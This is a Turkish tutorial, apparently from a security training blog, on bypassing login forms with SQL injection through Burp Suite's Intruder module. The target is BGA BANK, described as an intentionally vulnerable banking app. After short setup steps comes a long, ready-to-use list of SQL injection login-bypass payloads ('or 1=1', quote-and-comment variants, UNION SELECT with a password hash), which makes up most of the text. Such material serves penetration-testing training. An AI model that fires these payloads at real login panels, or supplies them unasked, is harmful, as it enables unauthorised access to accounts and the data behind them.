BURP – SQLi ile Giriş Paneli Atlatma Saldırıları

Arka tarafta veritabanı bağlantısı olan kimlik doğrulama amaçlı kullanılan login formları yeterli girdi denetimi yapılmadığı durumlarda kullanıcı adı / parola bilgisini bilmeyen saldırganlar tarafından atlatılabilmektedir. Login bypass işlemini başarılı gerçekleştiren saldırgan user/pass bilgisine ihtiyaç duymadan hedef sisteme yetkili kullanıcı haklarıyla erişebilir.
Burp aracı web tabanlı uygulamaları güvenlik testi son derece kolaylaştıran önemli uygulamalardan biridir. Bu yazıda Burp aracı kullanarak BGA BANK (Bankalara ait güvenlik zafiyetlerini içeren web uygulaması) uygulamasındaki login bypass işleminin nasıl gerçekleştirilebileceği anlatılmaktadır.

Senaryo : Hedef sistem üzerinde tespit edilen(kullanıcı giriş paneli, yönetim paneli vs.) girdi noktaları üzerinde  SQLi ile giriş paneli atlatma saldırıların nasıl gerçekleştirilmesinden bahsedilecektir.

  1. Burp Proxy ile hedef sistemin giriş paneline rastgele değerler girerek header bilgilerini elde edelim. Görüldüğü gibi header üzerinde b_musterino ve b_password  olmak üzere iki parametre ile POST işlemi gerçekleşmektedir. Header bilgilerini görüntülerken sağ tıklayarak Send to Intruder(CTRL + I) diyerek headeri bilgileri üzerinde atakları gerçekleştirebileceğimiz Intruder Sekmesi belirecektir.
   
  1. Indruder sekmesi altından Attack Type olarak Sniper olarak seçilir. Ardından atak vektörünü b_musterino alanına belirtilir.
  2. Payload Sekmesi altında Payload Set 1, Payload Type ise Simple List olacak. Bu işlemden sonra ekte paylaşılmış olan login-bypass.txt dosyası yüklenir.
  3. İşlemler tamamlandıktan sonra Intruder Menüsü altında Start Attack ile saldırı işlemi başlatılır. İşlem bittikten sonra sonuçlar aşağıdaki gibi olacaktır. Sonuçlardan elde edilebilecek yorum; Length sütunundan eylemin başarılı gerçekleşip, gerçekleşmediği tespit edilebilir. Uzunluğu 11165 olan header içeriğinde –  “Giriş”, “Başvuru” alanların var olması – görüldüğü gibi başarılı bir sonuç gerçekleşmemiştir.
  4. Sonuçlar içerisinde diğer payloadları inceledikten sonra uzunluğu(Length) 8657 olan payloadların header bilgilerinden başarıyla giriş yapılabildiğini açıkça göstermektedir.

NOT : Burp Intruder modülü Fuzzy Saldırıları, Brute Force Saldırıları vs. gibi geniş kitlede HTTP ataklarını gerçekleştirebiliyorsunuz. Ayrıca kendi içerisinde kategori bazında payload modülleri bulunmaktadır.
NOT 2 : Intruder Saldırılarında temel olarak, hedef sistemde atakların gerçekten başarıya ulaştığını teyin etmek – kolaylaştırmak için – grep-match(eşleşmeler) kullanılabilir. Ama bu yöntem çoğunlukla işe yaramayacaktır, çünkü hedef sistemi belli payloadlar işlemi başarıyla gerçekleştirdiklerinde belki bir hata oluşturabilir yada hiç sonuç dondurmeyebilir. Response Length bizim işimizi biraz zorlaştırabilir ama ayırt etmede etkilidir.
Payload Listesi :
or 1=1
or 1=1–
or 1=1#
or 1=1/*
admin’ —
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1′–
admin’ or ‘1’=’1’#
admin’ or ‘1’=’1’/*
admin’or 1=1 or ”=’
admin’ or 1=1
admin’ or 1=1–
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1’–
admin’) or (‘1’=’1’#
admin’) or (‘1’=’1’/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1′–
admin’) or ‘1’=’1’#
admin’) or ‘1’=’1’/*
1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
admin” —
admin” #
admin”/*
admin” or “1”=”1
admin” or “1”=”1″–
admin” or “1”=”1″#
admin” or “1”=”1″/*
admin”or 1=1 or “”=”
admin” or 1=1
admin” or 1=1–
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1″=”1
admin”) or (“1″=”1”–
admin”) or (“1″=”1″#
admin”) or (“1″=”1″/*
admin”) or “1”=”1
admin”) or “1”=”1″–
admin”) or “1”=”1″#
admin”) or “1”=”1″/*
1234 ” AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055
admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
‘ or ‘1’=’1
‘ or ‘x’=’x
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
‘or’1=1’
==
and 1=1–
and 1=1
‘ or ‘one’=’one–
‘ or ‘one’=’one
‘ and ‘one’=’one
‘ and ‘one’=’one–
1′) and ‘1’=’1–
admin’ —
admin’ #
admin’/*
or 1=1–
or 1=1#
or 1=1/*
) or ‘1’=’1–
) or (‘1’=’1–
‘ or ‘1’=’1
‘ or ‘x’=’x
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
‘or’1=1’
admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
‘-‘
‘+’
‘&’
‘^’
‘*’
‘ or ”-‘
‘ or ”+’
‘ or ”&’
‘ or ”^’
‘ or ”*’
“-“
“+”
“&”
“^”
“*”
” or “”-“
” or “”+”
” or “”&”
” or “”^”
” or “”*”
or true–
” or true–
‘ or true–
“) or true–
‘) or true–
‘ or ‘x’=’x
‘) or (‘x’)=(‘x
‘)) or ((‘x’))=((‘x
” or “x”=”x
“) or (“x”)=(“x
“)) or ((“x”))=((“x

login bypass listesi icin https://www.architectingsecurity.com/wp-content/uploads/authentication-bypass-list.txt adresi kullanılmıştır.